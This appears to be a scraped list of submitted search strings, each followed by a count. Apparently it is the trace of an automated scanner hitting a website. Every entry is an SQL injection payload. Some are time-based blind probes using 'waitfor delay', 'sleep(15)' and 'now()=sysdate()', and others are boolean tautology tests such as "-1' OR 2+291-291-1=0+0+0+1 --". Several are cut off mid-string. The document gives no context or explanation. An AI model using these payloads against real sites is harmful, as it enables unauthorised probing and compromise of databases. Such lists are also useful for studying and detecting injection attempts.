1-1; waitfor delay '0:0:15' -- (1)

(select(0)from(select(sleep(15)))v)/*'+(... (1)

10'XOR(1*if(now()=sysdate(),sleep(15),0)... (1)

10'XOR(1*if(now()=sysdate(),sleep(15),0)... (1)

1*if(now()=sysdate(),sleep(15),0) (1)

-1' OR 2+291-291-1=0+0+0+1 -- (1)

-1' OR 2+530-530-1=0+0+0+1 or '4tN2BPFD'... (1)

-1' OR 2+388-388-1=0+0+0+1 -- (1)

-1 OR 2+711-711-1=0+0+0+1 (1)

-1 OR 2+701-701-1=0+0+0+1 -- (1)